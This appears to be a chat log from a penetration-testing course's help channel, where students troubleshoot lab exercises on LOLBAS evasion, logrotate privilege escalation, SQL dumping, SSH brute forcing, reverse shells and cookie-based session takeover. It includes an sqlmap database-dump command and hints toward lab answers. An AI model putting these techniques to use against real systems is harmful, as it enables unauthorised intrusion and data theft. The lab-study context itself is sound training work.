Is there anyone I can DM re "LOLBAS: RunDll32" from the Evasion technqiues module? I've compiled the dll as instructed but it won't trigger a shell. I can see in the final code snippet (albeit it's cut off in the screenshot) that there's further modifications to the code that dont appear in the module?

[rustic sage]

I though so but i guess not on parrotsec

[fathom pendant]

make sure you do a sudo apt update && sudo apt upgrade before installing to make sure the repos are up-to-date

you can also try adding -t lory-backport

[rustic sage]

to sudo apt install smbclient?

[fathom pendant]

yes

it's either backport or backports

which edition did you download/run btw

[rustic sage]

it worked

[fathom pendant]

home? Security?

[rustic sage]

security

[fathom pendant]

noted

[rustic sage]

Thanks again

I think they just updated it because i dont remember it being debian before

[fathom pendant]

?

parrot?

[rustic sage]

maybe

One of these were isntalled before

[fathom pendant]

parrot has always been a debian derivative

[rustic sage]

then i did something different the first time

or they changed the icon and im dumb

[fathom pendant]

they didn't

that icon is based on what you select when you install it in virtualbox

did you check the kernel used?

[rustic sage]

on which

[fathom pendant]

the older one

that doesn't have the deb swirl

[rustic sage]

i havent i can right now though. That's uname -r or v right

[fathom pendant]

i'm talking at a different level to uname

i'm talking about through just looking at the virtualbox settings

[rustic sage]

aha

[fathom pendant]

yeah that's why the icon is different

[rustic sage]

ok i see

my dad helped me set it up the first time and i was kind of clueless

thank again 🫡

[sleek moss]

hi how long does the box for lab take to spawn?

[rustic sage]

for me, it usually takes up to 30 seconds

[lone mesa]

Hi, anyone happen to be online who's good at troubleshooting computer issues? Dm me if you're free to help. Thank you!

[clever topaz]

||192.168.0.104 - - [29/Jun/2019:14:39:55 +0000] "GET /robbie03 HTTP/1.1" 404 446 "-" "curl"||, is there a specific payload for http log, i cant find it online tho, using chatgpt answer but not working too

[storm elk]

This isn’t a helpdesk for computers

[fathom pendant]

Well... the log uses double quotes

[clever topaz]

now i know why... HAHAHAHA thanks

[sleek moss]

yo guys when enumerating smtp which wordlist shud i use for usernames?

does anyone have thread lsit for hydra for diff services?

[cloud urchin]

it's a very important skill in pentesting to be able to look things up with google

[clever topaz]

im still not able to get shell in logrotation section

[wanton idol]

just keep spamming the payload and triggering logrotate supsr fast until u get a shell

thats what worked for me

[clever topaz]

got 12 log already still spamming 😭

[autumn pilot]

keep it simple if you can't get a shell

[clever topaz]

ive tried 'touch hehe.txt' also wont work

[glass quail]

lol that name

[ebon nymph]

module:-SQLMAP ESSENTIALS & Section:-Advanced Database Enumeration i used this command to dump data base:-sqlmap -u 'http://"ip"/case1.php?id=1' --dump -D testdb -T users

even got password it's showing wrong

[next bronze]

it should be E...9

[ebon nymph]

i am getting password something like:- starts with "d642" and ends with "eba0"

[ebon nymph]

let me check

so this is the name right there "Kimberly Wright" am i right?

[next bronze]

yes there's only one kimberly

[ebon nymph]

i think i need to start again let me try once more

[next bronze]

wait you know that's a hash right?

[ebon nymph]

yes

[next bronze]

did you crack it

[ebon nymph]

is it possible to DM you it will ake 1 min

[next bronze]

huh

it's a hash and you'll need to crack it, that's the password and is the answer

[ebon nymph]

i did

[next bronze]

this is the hash, not the password

[ebon nymph]

so hash is right?

[next bronze]

no

[next bronze]

^^

[ebon nymph]

lol

[next bronze]

buddy, crack the hash and you get the password, that's it

[topaz fossil]

hi. i'm doing the file uploads attack module, and there's mention of using burp to fuzz the extensions. i'm not getting this set of payloads. is this some extra feature with burp pro? i'm using community edition

[wraith pelican]

hello, did you check the wordlists linked in the course material?

[topaz fossil]

yes, i just realized, the course material mentioned a different wordlist 🫣

i was using the seclist one

choosing the correct wordlist is an art sometimes 😅

[sage laurel]

Hi, I'm currently hardstuck on "Exploiting Web Vulnerabilities in Thick-Client Applications".
I've removed the 1.RSA and 1.SF files and modified .\META-INF\MANIFEST.MF removing all hashes. I also double-checked that MANIFEST.MF ends with a newline. Then I ran jar -cmf .\META-INF\MANIFEST.MF ..\fatty-client-new.jar * but still shows me the "Connection Error!" modal. Any help would be appreciated.

Nevermind, I found a forum post on HTB Forums that explains it.

[civic dawn]

WINDOWS PRIVILEGE ESCALATION - SeImpersonate and SeAssignPrimaryToken

I’m trying to login mssqlclient, I got this error:

[*] Encryption required, switching to TLS
[-] [('SSL routines', '', 'no protocols available')]

[ruby ginkgo]

Attack the Splunk target and gain remote code execution. Submit the contents of the flag.txt file in the c:\loot directory. ( can someone help me with this question from ATTACKING COMMON APPLICATION) i did exactly told in the module but i'm not getting reverse shell.

[thorn hawk]

hello to everybody. I need some minor help in the Web Attack module under the IDOR's section. I am curling the target to be able to get the response back but the response i am getting in curl is different from the 'view page source' results. In Curl I get only half of the HTML that is in the source of the page. Do you know why this is happening. I can provide the example here in a picture.

The blue lines do not come up in curl

[obtuse veldt]

Hi everyone,

I'm working on the "LOGIN BRUTE FORCING" section, specifically on page 9, "Service Authentication Brute Forcing." I've been trying to brute force the SSH login for user "b.gates" on the target server using several wordlists, including ssh-betterdefaultpasslist.txt, default-passwords.txt, and rockyou-50.txt. Despite trying these wordlists, I haven't been able to find the correct password for the first task.

Can anyone suggest a wordlist that worked for them or provide guidance on how to approach this problem effectively?

Thanks in advance!

[thorn hawk]

Did you create from the previous step the personalised username name list?

[obtuse veldt]

According to the task instructions, the username is specified as "b.gates."

[thorn hawk]

Indeed but this was found because we created that custom username list and create a custom password list in the previous sections

these two list should be used I think. I am no expert i am jsut trying to remember what I did also through my notes

[obtuse veldt]

Your advice to make a custom password list totally worked. Got in! Thx.

[thorn hawk]

Amazing 😄

[round moat]

What is the API key in the hidden admin directory that you have discovered on the target system?
how to do this? in recent information gathering web edition skills assessment

[wraith pelican]

Check or re-check the skills assessment briefing, you'll find clues in there, maybe ways you didn't explore yet.

[round moat]

do i have to do directory bruteforcing

[wraith pelican]

re-read the brief, it's not even just clues, it is literally what you have to do to get the answers

[next bronze]

in the section it's shown how to set the bypass policy

[rustic sage]

Is anyone getting "VMs failed to spawn. If this persists please contact support."

[round moat]

What is the API key in the hidden admin directory that you have discovered on the target system?
how to do this? in recent information gathering web edition skills assessment
what should i do on this to solve this?
i have tried to enumerate directory by directory bruteforcing but still cant get anything
help me with this

[spark spruce]

DM!

[round moat]

check ur dm

[olive depot]

Why cant i use the "general" channel?

[sacred gull]

Not actually apart of the modules but I thought this was as good a place as any, but now Bloodhound Gui breaks my VM

This is after it is closed

I have uninstalled and reinstalled, rebooted multiple times. Opened it through the console and through the apps in the top left. Im assuming its not universally broken

[next bronze]

time to use the community edition

[limber river]

bro the new UI is kinda of weird

[sacred gull]

I guess so lmao

[limber river]

bro really crying

[sacred gull]

I just realized u can hear House M.D playing lmaoo

[next bronze]

oh that's the show

I thoought the guy sounded familar

[next bronze]

after using it for a bit I think I like it more tbh, I use CE exclusively now

[limber river]

wondering , how many vulns will be found on this https://learn.microsoft.com/en-us/windows-server/get-started/whats-new-windows-server-2025

[sacred gull]

I actually decided to watch the show after seeing so many reels

[olive depot]

Anyone have an tips how to fix the resoulitions / hz in the VMware

[grand loom]

anyone having issues spawning a machine

[stone hare]

Hi, I've RDP'd into a windows machine and I'm trying to upload a file from my host, to that windows machine. I want to use the FTP method

• I made an FTP server with a user "user" and password "pass" using pyftpdlib
• I then tried to access via cmd prompt on the remote host using ftp user@10.10.15.189
  The error I always get is unknown host user@10.10.15.189

I tested pinging the machine from the RDP and it responds. Should also be noted i tried making that server on my localhost "10.0.2.15", but the RDP can't ping it

[limber river]

using ftp in windows is not that easy

I recommend using smb or web

[sacred gull]

The settings are under vm --> settings --> display

[next bronze]

ftp <ip>, supply username when it asks

[stone hare]

i did that as well, same error

[limber river]

refer to the file transfer module

[stone hare]

im doing that module rn

[stone hare]

i figured SMB would be harder, ill try that then, just wanted to use FTP

[limber river]

no smb is easier

[next bronze]

smb is easier yeah

[stone hare]

alright thanks

[limber river]

if you have rdp that's way more easier

[stone hare]

Was my thinking correct when I used the tun0 ip and not my eth0?

[limber river]

yeah that's what you suppose to do

[stone hare]

cold, thanks

[oak ravine]

Thanks for responding. I have tried editing the cookie via the browser, but there is no change. The login link does not log me in as any account.

[limber river]

are you sure , that's the right form , the { } don't look good to me

[oak ravine]

I tried both with and without the brackets

[next bronze]

you're putting the cookie into name?

[oak ravine]

Yes, and value of || fcfaf93ab169bc943b92109f0a845d99 ||

[sacred gull]

the value should be in the value box, name is different

[oak ravine]

got it!

[sacred gull]

and I would drop the {}

so switch session and fcfa...

[oak ravine]

Thanks @sacred gull @limber river @next bronze . I love the support

[faint rampart]

it doesnt have support for bloodhound-python which is quite sad.

[limber river]

that's bad

[next bronze]

it does work with all the collectors

it's backwards compitable

[limber river]

compatible

I remember using nxc ingestor with it